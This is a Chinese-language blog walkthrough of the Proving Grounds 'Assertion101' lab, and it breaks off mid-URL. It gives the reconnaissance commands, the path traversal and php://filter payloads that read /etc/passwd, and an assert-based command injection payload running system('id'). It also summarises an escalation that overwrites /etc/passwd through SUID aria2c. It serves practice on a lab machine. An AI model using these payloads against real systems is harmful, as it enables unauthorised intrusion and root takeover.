發表文章

目前顯示的是有「hacktricks」標籤的文章

Proving Grounds Play : Assertion101 Walkthrough

圖片
  Proving Grounds Play : Assertion101 Walkthrough Foothold : 80 網站是一個 PHP 網站,傳統的幾種 Path Traversal 無作用 參考 Hacktricks 其他 PHP Path Traversal 後發現使用 assert 的方式成功執行命令讀取檔案 獲取某使用者 id_rsa 後成功登入 PE : SUID 發現 aria2c 利用,利用覆蓋 /etc/passwd 後成功提權 Rustscan,└─$ rustscan -a 192.168.151.94 --scripts none --ulimit 5000 | tee rustscan snmp check,└─$ sudo nmap -sU -p 161 192.168.151.94 | tee snmp          nmap whatweb 80 / 80 /robots.txt 點了幾個網頁發現 index.php 會帶 Query String ?page=ooxx 馬上測試一下 ?page=../../../../../../../../etc/passwd 兄弟,沒有這麼簡單!.......機車的網頁 測試 RFI,看來沒有作用 gobuster 80 /about.php 80 /css 80 /fonts 80 /img 80 /js 80 /pages 80 /schedule.php PHP Wrappers 包裝器測試,http://192.168.151.94/index.php?page=php://filter/convert.base64-encode/resource=../../../../../../../../etc/passwd 參考 hacktricks 其他有關 Path Traversal 的測試 https://book.hacktricks.xyz/pentesting-web/file-inclusion 測試到 LFI iva PHP's "assert" 測試到這一個 ' and die(system("id")) or ' 成功顯示 id 資訊如下圖 http://192.168....